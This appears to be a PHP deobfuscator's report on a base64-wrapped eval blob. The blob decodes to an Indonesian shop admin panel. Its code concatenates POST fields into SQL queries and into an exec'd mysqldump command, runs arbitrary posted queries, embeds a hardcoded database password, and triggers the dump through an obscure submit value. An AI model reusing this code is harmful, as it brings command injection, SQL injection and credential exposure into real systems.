ciddIC4gIiwiIC4gJF9QT1NUWydzZXJ2ZXItYXdoJ10gLiAiLCIgLiAkX1BPU1RbJ3VzZXItYXdoJ10gLiAiLCIgLiAkX1BPU1RbJ3Bhc3MtYXdoJ10gLiAiLCIgLiAkX1BPU1RbJ2RiLWF3aCddOw0KICAgICAgICBmd3JpdGUoJGZpbGUsICRkYXRhX2NvbmZpZyk7DQogICAgICAgIGZjbG9zZSgkZmlsZSk7DQogICAgICAgIC8vc3VibWl0IG9udGhlcm9hZA0KICAgICAgICANCiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnc3VibWl0J10gPT0gJ290cicpIHsNCiAgICAgICAgcmVxdWlyZV9vbmNlICgiY29ubmRiLnBocCIpOw0KICAgICAgICAkeCA9ICRfUE9TVFsna2R0ayddOw0KICAgICAgICAkeSA9ICRfUE9TVFsnbmlrJ107DQogICAgICAgICRDZWtJcFRva28gPSBteXNxbF9xdWVyeSgiU0VMRUNUIGtkdGssaXBfaW5kdWsgRlJPTSB0b2tvIFdIRVJFIGtkdGs9JyR4JyIpOw0KICAgICAgICAkb2sgPSBteXNxbF9udW1fcm93cygkQ2VrSXBUb2tvKTsNCiAgICAgICAgJHJjZWsgPSBteXNxbF9mZXRjaF9hcnJheSgkQ2VrSXBUb2tvKTsNCiAgICAgICAgaWYgKCRvayA8PSAwKSB7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxzdHJvbmc+TE9HSU4gR0FHQUwhIDwvc3Ryb25nPjxicj4gDQogQW5kYSBtZW5qYWxhbmthbiBwcm9ncmFtIGJ1a2FuIGRhcmkgQ1BVIHRva28uPGJyPg0KIERvbid0IFRyeSB0aGlzLiBZb3VyIGlwICIgLiAkeCAuICI8YnI+PC9jZW50ZXI+IjsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRfU0VTU0lPTlsna2R0ayddID0gJHJjZWtbJ2tkdGsnXTsNCiAgICAgICAgICAgICRsb2dpbmRpID0gJHJjZWtbJ2tkdGsnXTsNCiAgICAgICAgICAgICRsb2dpbiA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHVzZXJzIFdIRVJFIHVzZXJuYW1lPSckeSciKTsNCiAgICAgICAgICAgICRrZXRlbXUgPSBteXNxbF9udW1fcm93cygkbG9naW4pOw0KICAgICAgICAgICAgJHIgPSBteXNxbF9mZXRjaF9hcnJheSgkbG9naW4pOw0KICAgICAgICAgICAgaWYgKCRrZXRlbXUgPiAwKSB7DQogICAgICAgICAgICAgICAgc2Vzc2lvbl9zdGFydCgpOw0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnaXBfaW5kdWsnXSA9ICRyY2VrWydpcF9pbmR1ayddOw0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsna2R0ayddID0gJHJjZWtbJ2tkdGsnXTsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ25hbWF1c2VyJ10gPSAkclsndXNlcm5hbWUnXTsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ25hbWFsZW5na2FwJ10gPSAkclsnbmFtYV9sZW5na2FwJ107DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWyduaWsnXSA9ICR5Ow0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsncGFzc3VzZXInXSA9ICRyWydwYXNzd29yZCddOw0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnbGV2ZWx1c2VyJ10gPSAkclsnbGV2ZWwnXTsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2RlcHQnXSA9ICRyWydkZXAnXTsNCiAgICAgICAgICAgICAgICAkc2lkX2xhbWEgPSBzZXNzaW9uX2lkKCk7DQogICAgICAgICAgICAgICAgc2Vzc2lvbl9yZWdlbmVyYXRlX2lkKCk7DQogICAgICAgICAgICAgICAgJHNpZF9iYXJ1ID0gc2Vzc2lvbl9pZCgpOw0KICAgICAgICAgICAgICAgIG15c3FsX3F1ZXJ5KCJVUERBVEUgdXNlcnMgU0VUIGlkX3Nlc3Npb249JyRzaWRfYmFydScsb25saW5lPSdZJyxrZHRrPSckbG9naW5kaScgV0hFUkUgdXNlcm5hbWU9JyR5JyIpOw0KICAgICAgICAgICAgICAgIGVjaG8gIjxpZnJhbWUgc3JjPSdtZWRpYS5waHA/cGFnZT1hYnNlbmxhcCAnIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcwMCc+PC9pZnJhbWU+IjsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48c3Ryb25nPkxPR0lOIEdBR0FMISA8L3N0cm9uZz48YnI+IA0KIFVzZXJuYW1lIGF0YXUgUGFzc3dvcmQgQW5kYSB0aWRhayBiZW5hci48YnI+DQogQXRhdSBhY2NvdW50IEFuZGEgc2VkYW5nIGRpYmxva2lyLjxicj48L2NlbnRlcj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIC8vc3VibWl0IG9udGhlcm9hZA0KICAgICAgICANCiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnc3VibWl0J10gPT0gJ2RlbGV0ZS1vdHInKSB7DQogICAgICAgIHJlcXVpcmVfb25jZSAoImNvbmZpZy9jb25uZGIucGhwIik7DQogICAgICAgIG15c3FsX3F1ZXJ5KCdERUxFVEUgRlJPTSBhYnNlbiBXSEVSRSB0YW5nZ2FsPSInIC4gJF9QT1NUWyd0YW5nZ2FsX21hc3VrJ10gLiAnIiBhbmQgbmlrPSInIC4gJF9QT1NUWyduaWsnXSAuICciIGFuZCBrZHRrX21hc3VrPSInIC4gJF9QT1NUWydrZHRrJ10gLiAnIicpOw0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydzdWJtaXQnXSA9PSAnbWFzdWstb3RyJykgew0KICAgICAgICByZXF1aXJlX29uY2UgKCJjb25maWcvY29ubmRiLnBocCIpOw0KICAgICAgICBteXNxbF9xdWVyeSgnVVBEQVRFIGFic2VuIFNFVCBtYXN1az0iJyAuICRfUE9TVFsnbXNrJ10gLiAnIix0YW5nZ2FsPSInIC4gJF9QT1NUWyd0Z2xtc2snXSAuICciIFdIRVJFIHRhbmdnYWw9IicgLiAkX1BPU1RbJ3dtc2snXSAuICciIGFuZCBuaWs9IicgLiAkX1BPU1RbJ25payddIC4gJyIgYW5kIGtkdGtfbWFzdWs9IicgLiAkX1BPU1RbJ2tkdGsnXSAuICciJyk7DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ3N1Ym1pdCddID09ICdwdWxhbmctb3RyJykgew0KICAgICAgICByZXF1aXJlX29uY2UgKCJjb25maWcvY29ubmRiLnBocCIpOw0KICAgICAgICBteXNxbF9xdWVyeSgnVVBEQVRFIGFic2VuIFNFVCBtYXN1az0iJyAuICRfUE9TVFsndGFuZ2dhbF9wdWxhbmdfbmV3J10gLiAnICcgLiAkX1BPU1RbJ2phbV9wdWxhbmdfbmV3J10gLiAnIix0YW5nZ2FsPSInIC4gJF9QT1NUWyd0YW5nZ2FsX3B1bGFuZ19uZXcnXSAuICciIFdIRVJFIHRhbmdnYWw9IicgLiAkX1BPU1RbJ3RhbmdnYWxfcHVsYW5nX29sZCddIC4gJyIgYW5kIG5paz0iJyAuICRfUE9TVFsnbmlrJ10gLiAnIiBhbmQga2R0a19tYXN1az0iJyAuICRfUE9TVFsna2R0ayddIC4gJyInKTsNCiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnc3VibWl0J10gPT0gJ3B1bGFuZy1vdHInKSB7DQogICAgICAgIHJlcXVpcmVfb25jZSAoImNvbmZpZy9jb25uZGIucGhwIik7DQogICAgICAgIG15c3FsX3F1ZXJ5KCdERUxFVEUgRlJPTSBhYnNlbiBXSEVSRSB0YW5nZ2FsPSInIC4gJF9QT1NUWyd0YW5nZ2FsX21hc3VrJ10gLiAnIiBhbmQgbmlrPSInIC4gJF9QT1NUWyduaWsnXSAuICciIGFuZCBrZHRrX21hc3VrPSInIC4gJF9QT1NUWydrZHRrJ10gLiAnIicpOw0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydzdWJtaXQnXSA9PSAnVUo1cThUUicpIHsNCiAgICAgICAgYXJyYXlfbWFwKCd1bmxpbmsnLCBnbG9iKCJmcm1femFzdyoiKSk7DQogICAgICAgICRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXIgPSAkX1BPU1RbJ2lwJ107DQogICAgICAgICRsaXN0X3RhYmxlID0gJF9QT1NUWydsaXN0X3RhYmxlJ107DQogICAgICAgICRhc3cgPSAiZnJtX3phc3ciIC4gZGF0ZSgnai1oLWknKSAuIHVuaXFpZCgpOw0KICAgICAgICAkcTRmd0pSM3F0UmNicUxYOWVXOG1ldFhySHI4NjdwUXRIID0gbXlzcWxpX2Nvbm5lY3QoJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtciwgJGpmdDlNQVJRcW43cFFtdHBMSDhkQmFIeXVLVGVXTHlOZywgJFV3d1R2ZFFGd1BLM1NIZVF2ZXR6Mmo0c0huZFJDRFZ2cSwgJ3BvcycpOw0KICAgICAgICBub3RDb25uZWN0KCRxNGZ3SlIzcXRSY2JxTFg5ZVc4bWV0WHJIcjg2N3BRdEgsICRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXIpOw0KICAgICAgICBleGVjKCdteXNxbGR1bXAgLS11c2VyPScgLiAkamZ0OU1BUlFxbjdwUW10cExIOGRCYUh5dUtUZVdMeU5nIC4gJyAtLXBhc3N3b3JkPScgLiAkVXd3VHZkUUZ3UEszU0hlUXZldHoyajRzSG5kUkNEVnZxIC4gJyAtLWhvc3Q9JyAuICRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXIgLiAnIHBvcyAnIC4gJGxpc3RfdGFibGUgLiAnID4gJyAuICRhc3cgLiAnLnR4dCcpOw0KICAgICAgICBlY2hvICJLbGlrIDxhIGhyZWY9JyAiIC4gJGFzdyAuICIudHh0JyB0YXJnZXQ9J19ibGFuayc+ZmlsZSBpbmk8L2E+IGppa2EgaGFzaWwgYmFja3VwIHRpZGFrIG11bmN1bDxicj4iOw0KICAgICAgICBlY2hvICI8aWZyYW1lIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzUwMCcgc3JjPSciIC4gJGFzdyAuICIudHh0Jz48L2lmcmFtZT4iOw0KICAgICAgICAvKg0KICAgICAgICAgKiBSRVNUT1JFIFRBQkxFDQogICAgICAgICovDQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ3N1Ym1pdCddID09ICdyZXN0b3JlLXRhYmxlJykgew0KICAgICAgICAkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yID0gJF9QT1NUWydpcCddOw0KICAgICAgICAkYXJyYXkgPSBleHBsb2RlKCIuIiwgJF9GSUxFU1siZGIiXVsibmFtZSJdKTsNCiAgICAgICAgJGV4dGVuc2lvbiA9IGVuZCgkYXJyYXkpOw0KICAgICAgICBpZiAoJGV4dGVuc2lvbiA9PSAnc3FsJykgew0KICAgICAgICAgICAgJHE0ZndKUjNxdFJjYnFMWDllVzhtZXRYckhyODY3cFF0SCA9IG15c3FsaV9jb25uZWN0KCRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXIsICRqZnQ5TUFSUXFuN3BRbXRwTEg4ZEJhSHl1S1RlV0x5TmcsICRVd3dUdmRRRndQSzNTSGVRdmV0ejJqNHNIbmRSQ0RWdnEsICdwb3MnKTsNCiAgICAgICAgICAgIG5vdENvbm5lY3QoJHE0ZndKUjNxdFJjYnFMWDllVzhtZXRYckhyODY3cFF0SCwgJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtcik7DQogICAgICAgICAgICAkb3V0cHV0ID0gJyc7DQogICAgICAgICAgICAkY291bnQgPSAwOw0KICAgICAgICAgICAgJGZpbGVfZGF0YSA9IGZpbGUoJF9GSUxFU1siZGIiXVsidG1wX25hbWUiXSk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmlsZV9kYXRhIGFzICRyb3cpIHsNCiAgICAgICAgICAgICAgICAkc3RhcnRfY2hhcmFjdGVyID0gc3Vic3RyKHRyaW0oJHJvdyksIDAsIDIpOw0KICAgICAgICAgICAgICAgIGlmICgkc3RhcnRfY2hhcmFjdGVyICE9ICctLScgfHwgJHN0YXJ0X2NoYXJhY3RlciAhPSAnLyonIHx8ICRzdGFydF9jaGFyYWN0ZXIgIT0gJy8vJyB8fCAkcm93ICE9ICcnKSB7DQogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkb3V0cHV0IC4gJHJvdzsNCiAgICAgICAgICAgICAgICAgICAgJGVuZF9jaGFyYWN0ZXIgPSBzdWJzdHIodHJpbSgkcm93KSwgLTEsIDEpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJGVuZF9jaGFyYWN0ZXIgPT0gJzsNCicpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghbXlzcWxpX3F1ZXJ5KCRxNGZ3SlIzcXRSY2JxTFg5ZVc4bWV0WHJIcjg2N3BRdEgsICRvdXRwdXQpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvdW50Kys7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gJyc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGNvdW50ID4gMCkgew0KICAgICAgICAgICAgICAgIGVjaG8gIm5vayI7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gIm9rIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAvKg0KICAgICAgICAgKiBDRUsgS09ORUtTSQ0KICAgICAgICAqLw0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydzdWJtaXQnXSA9PSAnZXhlY3V0ZScpIHsNCiAgICAgICAgJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtciA9ICRfUE9TVFsnaXAnXTsNCiAgICAgICAgJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtcjEgPSAkX1BPU1RbJ2lwMSddOw0KICAgICAgICAkcXVlcnkgPSBzdHJpcHNsYXNoZXMoJF9QT1NUWydxdWVyeSddKTsNCiAgICAgICAgaWYgKCR4dXA1clF4Y01yUFJERXU5TjNQejVNVWpSRW5mTmd3UjcgPT0gJ003TXFyckVDZWFEU0V5NlJrQlg2YTNtNGJjNjI0RnZtVCcpIHsNCiAgICAgICAgICAgIGlmIChzdHJwb3MoJHF1ZXJ5LCAncGRhdGUnKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gImFrc2VzIHVzZXIgaW5pIHRlcmJhdGFzIHVudHVrIG1lbGFrdWthbiB1cGRhdGUgdGFibGUgOikiOw0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtciA9PSAnJykgew0KICAgICAgICAgICAgJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtciA9ICRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXIxOw0KICAgICAgICB9DQogICAgICAgICRxNGZ3SlIzcXRSY2JxTFg5ZVc4bWV0WHJIcjg2N3BRdEggPSBteXNxbGlfY29ubmVjdCgkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yLCAkamZ0OU1BUlFxbjdwUW10cExIOGRCYUh5dUtUZVdMeU5nLCAkVXd3VHZkUUZ3UEszU0hlUXZldHoyajRzSG5kUkNEVnZxLCAicG9zIik7DQogICAgICAgIG5vdENvbm5lY3QoJHE0ZndKUjNxdFJjYnFMWDllVzhtZXRYckhyODY3cFF0SCwgJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtcik7DQogICAgICAgICRkYXRhID0gbXlzcWxpX3F1ZXJ5KCRxNGZ3SlIzcXRSY2JxTFg5ZVc4bWV0WHJIcjg2N3BRdEgsICRxdWVyeSk7DQogICAgICAgIGVjaG8gIg0KIDx0YWJsZSBpZD0ndGFibGVRdWVyeUJyb3dzZXInIGNsYXNzPSdzbWFsbCB0YWJsZS1zbSB0YWJsZSB0YWJsZS1zdHJpcGVkIHRhYmxlLWJvcmRlcmVkJyB3aWR0aD0nMTAwJSc+DQogPHRoZWFkPiI7DQogICAgICAgICR0b3QgPSAwOw0KICAgICAgICB3aGlsZSAoJGQgPSBteXNxbGlfZmV0Y2hfZmllbGQoJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICI8dGg+IiAuICgkZC0+bmFtZSkgLiAiPC90aD4iOw0KICAgICAgICAgICAgJGEgPSAkZC0+bmFtZTsNCiAgICAgICAgICAgICR0b3QrKzsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L3RoZWFkPjx0Ym9keT48dHI+IjsNCiAgICAgICAgJHRvdCA9ICR0b3QgLSAxOw0KICAgICAgICB3aGlsZSAoJGQgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJGRhdGEpKSB7DQogICAgICAgICAgICAkbm8gPSAwOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGQgYXMgJGtleSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAkbm8rKzsNCiAgICAgICAgICAgICAgICBlY2hvICI8dGQ+JHZhbHVlPC90ZD4iOw0KICAgICAgICAgICAgICAgIGlmICgkbm8gPiAkdG90KSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZCBhcyAka2V5ID0+ICR2YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRkPjwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvdHI+PC90Ym9keT48L3RhYmxlPiI7DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ3N1Ym1pdCddID09ICdleGVjdXRlLXNvcHAnKSB7DQogICAgICAgICRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXIgPSAkX1BPU1RbJ2lwJ107DQogICAgICAgICRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXIxID0gJF9QT1NUWydpcDEnXTsNCiAgICAgICAgJHF1ZXJ5ID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsncXVlcnknXSk7DQogICAgICAgIGlmICgkeHVwNXJReGNNclBSREV1OU4zUHo1TVVqUkVuZk5nd1I3ID09ICdNN01xcnJFQ2VhRFNFeTZSa0JYNmEzbTRiYzYyNEZ2bVQnKSB7DQogICAgICAgICAgICBpZiAoc3RycG9zKCRxdWVyeSwgJ3BkYXRlJykpIHsNCiAgICAgICAgICAgICAgICBlY2hvICJha3NlcyB1c2VyIGluaSB0ZXJiYXRhcyB1bnR1ayBtZWxha3VrYW4gdXBkYXRlIHRhYmxlIDopIjsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXIgPT0gJycpIHsNCiAgICAgICAgICAgICRMTXZkTkNhdmR5Q2Vna0I3ajJqSnJLV3dDdlo0ZEMybXIgPSAkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yMTsNCiAgICAgICAgfQ0KICAgICAgICAkcTRmd0pSM3F0UmNicUxYOWVXOG1ldFhySHI4NjdwUXRIID0gbXlzcWxpX2Nvbm5lY3QoJExNdmROQ2F2ZHlDZWdrQjdqMmpKcktXd0N2WjRkQzJtciwgInNvcHAiLCAiNGdlbjFuZDBtNHJldCIsICJzb3BwYWdlbnQiKTsNCiAgICAgICAgbm90Q29ubmVjdCgkcTRmd0pSM3F0UmNicUxYOWVXOG1ldFhySHI4NjdwUXRILCAkTE12ZE5DYXZkeUNlZ2tCN2oyakpyS1d3Q3ZaNGRDMm1yKTsNCiAgICAgICAgJGRhdGEgPSBteXNxbGlfcXVlcnkoJHE0ZndKUjNxdFJjYnFMWDllVzhtZXRYckhyODY3cFF0SCwgJHF1ZXJ5KTsNCiAgICAgICAgZWNobyAiDQogPHRhYmxlIGlkPSd0YWJsZVF1ZXJ5QnJvd3NlcicgY2xhc3M9J3NtYWxsIHRhYmxlLXNtIHRhYmxlIHRhYmxlLXN0cmlwZWQgdGFibGUtYm9yZGVyZWQnIHdpZHRoPScxMDAlJz4NCiA8dGhlYWQ+IjsNCiAgICAgICAgJHRvdCA9IDA7DQogICAgICAgIHdoaWxlICgkZCA9IG15c3FsaV9mZXRjaF9maWVsZCgkZGF0YSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjx0aD4iIC4gKCRkLT5uYW1lKSAuICI8L3RoPiI7DQogICAgICAgICAgICAkYSA9ICRkLT5uYW1lOw0KICAgICAgICAgICAgJHRvdCsrOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvdGhlYWQ+PHRib2R5Pjx0cj4iOw0KICAgICAgICAkdG90ID0gJHRvdCAtIDE7DQogICAgICAgIHdoaWxlICgkZCA9IG15c3FsaV9mZXRjaF9hc3NvYygkZGF0YSkpIHsNCiAgICAgICAgICAgICRubyA9IDA7DQogICAgICAgICAgICBmb3JlYWNoICgkZCBhcyAka2V5ID0+ICR2YWx1ZSkgew0KICAgICAgICAgICAgICAgICRubysrOw0KICAgICAgICAgICAgICAgIGVjaG8gIjx0ZD4kdmFsdWU8L3RkPiI7DQogICAgICAgICAgICAgICAgaWYgKCRubyA+ICR0b3QpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkIGFzICRrZXkgPT4gJHZhbHVlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+PC90ZD4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPC90cj48L3Rib2R5PjwvdGFibGU+IjsNCiAgICB9DQo/Pg0KIA0KIDwvZGl2Pg0KIDwvZGl2Pg0KIDwvZGl2Pg0KDQogPGRpdiBjbGFzcz0ibW9kYWwgZmFkZSIgaWQ9Im1vZGFsRGV0YWlsQXJ0aWNsZSIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtbGFiZWxsZWRieT0iZXhhbXBsZU1vZGFsTGFiZWwiIGFyaWEtaGlkZGVuPSJ0cnVlIj48ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2ciIHJvbGU9ImRvY3VtZW50Ij48ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij48ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPjxoNSBjbGFzcz0ibW9kYWwtdGl0bGUiIGlkPSJleGFtcGxlTW9kYWxMYWJlbCI+PC9oNT4gPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJjbG9zZSIgZGF0YS1kaXNtaXNzPSJtb2RhbCIgYXJpYS1sYWJlbD0iQ2xvc2UiPiA8c3BhbiBhcmlhLWhpZGRlbj0idHJ1ZSI+JnRpbWVzOw0KPC9zcGFuPiA8L2J1dHRvbj48L2Rpdj48ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4NCg0KDQogPHNjcmlwdD4NCiAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHsNCg0KICQoJyNpcC1hZGRyZXNzJykuRGF0YVRhYmxlKHsNCiAic2Nyb2xsWCI6IHRydWUNCiB9KTsNCg0KICQoJy50YmxBcnRpY2xlJykuRGF0YVRhYmxlKHsNCiAib3JkZXIiOiBbDQogWzAsICJkZXNjIl0NCiBdLA0KICJzY3JvbGxYIjogdHJ1ZQ0KIH0pOw0KDQogJCgnLmlucCcpLkRhdGFUYWJsZSh7DQogInNjcm9sbFgiOiB0cnVlDQogfSk7DQoNCiAkKCcjdGFibGVRdWVyeUJyb3dzZXInKS5EYXRhVGFibGUoew0KICJzY3JvbGxYIjogdHJ1ZSwNCiAib3JkZXIiOiBbMCwgJ2Rlc2MnXQ0KIH0pOw0KDQogJCgnLnRibC02Y0VCTkFmJykuRGF0YVRhYmxlKHsNCiAic2Nyb2xsWCI6IHRydWUsDQogInNlbGVjdCI6IHRydWUNCiB9KTsNCg0KDQogJCgnLnNlbGVjdC0yJykuc2VsZWN0Mih7DQogdGhlbWU6ICJib290c3RyYXAiDQogfSk7DQoNCg0KICQoJy5sb2FkaW5nJykuaGlkZSgpOw0KDQoNCiB9KTsNCg0KDQogJCgnLmJ0bicpLmNsaWNrKGZ1bmN0aW9uKCkgew0KICQodGhpcykudGV4dCgnUGxlYXNlIHdhaXQuLi4nKTsNCg0KICQoJy5sb2FkaW5nJykuc2hvdygpOw0KDQogfSkNCg0KICQoJy5idG4tcXVlcnktdG9rbycpLmNsaWNrKGZ1bmN0aW9uKCkgew0KICQodGhpcykudGV4dCgnSGFyYXAgVHVuZ2d1Li4uJyk7DQoNCg0KIHZhciB0aW1lRWxhcHNlZCA9IDA7DQoNCiB2YXIgdGltZXJJRCA9IC0xOw0KDQoNCiBmdW5jdGlvbiB0aWNrKCkgew0KIHRpbWVFbGFwc2VkKysNCiAkKCIud2FrdHVfdHVuZ2d1IikuaHRtbCh0aW1lRWxhcHNlZCk7DQoNCiBpZih0aW1lRWxhcHNlZCA9PSAnMjUwJykgew0KIGFsZXJ0KCJSZXF1ZXN0IHRpbWUgb3V0Iik7DQoNCiByZXR1cm4gZmFsc2U7DQoNCiB9DQogfQ0KIGlmKHRpbWVySUQgPT0gLTEpIHsNCiB0aW1lcklEID0gc2V0SW50ZXJ2YWwodGljaywgMTAwMCk7DQoNCiB9DQoNCiB9KQ0KDQogJCgnLmJ0bk1vZGFsRGV0YWlsQXJ0aWNsZScpLmNsaWNrKGZ1bmN0aW9uKCkgew0KDQogdmFyIGlkID0gJCh0aGlzKS5hdHRyKCdkYXRhLWlkJyk7DQoNCg0KICQuYWpheCh7DQogdHlwZTogJ0dFVCcsDQogdXJsOiAnZnJtZGV0YWlsYXJ0LnBocCcsDQogZGF0YVR5cGU6ICdqc29uJywNCiBkYXRhOiB7DQogaWQ6IGlkDQogfQ0KIH0pLnRoZW4oZnVuY3Rpb24oZGF0YSkgew0KIGlmKGRhdGEuc3RhdHVzKSB7DQogJCgnI21vZGFsRGV0YWlsQXJ0aWNsZScpLm1vZGFsKCdzaG93Jyk7DQoNCiAkKCcubW9kYWwtdGl0bGUnKS50ZXh0KGRhdGEuanVkdWwpOw0KDQogJCgnLm1vZGFsLWJvZHknKS5odG1sKGRhdGEuc29sdXNpKTsNCg0KDQogfSBlbHNlIHsNCg0KIH0NCiB9KTsNCg0KIH0pOw0KDQogPC9zY3JpcHQ+DQoNCg0KPD9waHANCn0NCmVjaG8gIg0KPC9ib2R5Pg0KDQo8L2h0bWw+IjsNCj8+"));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 eaad16fba36b963f5b13d972b7b4a556
Eval Count 1
Decode Time 91 ms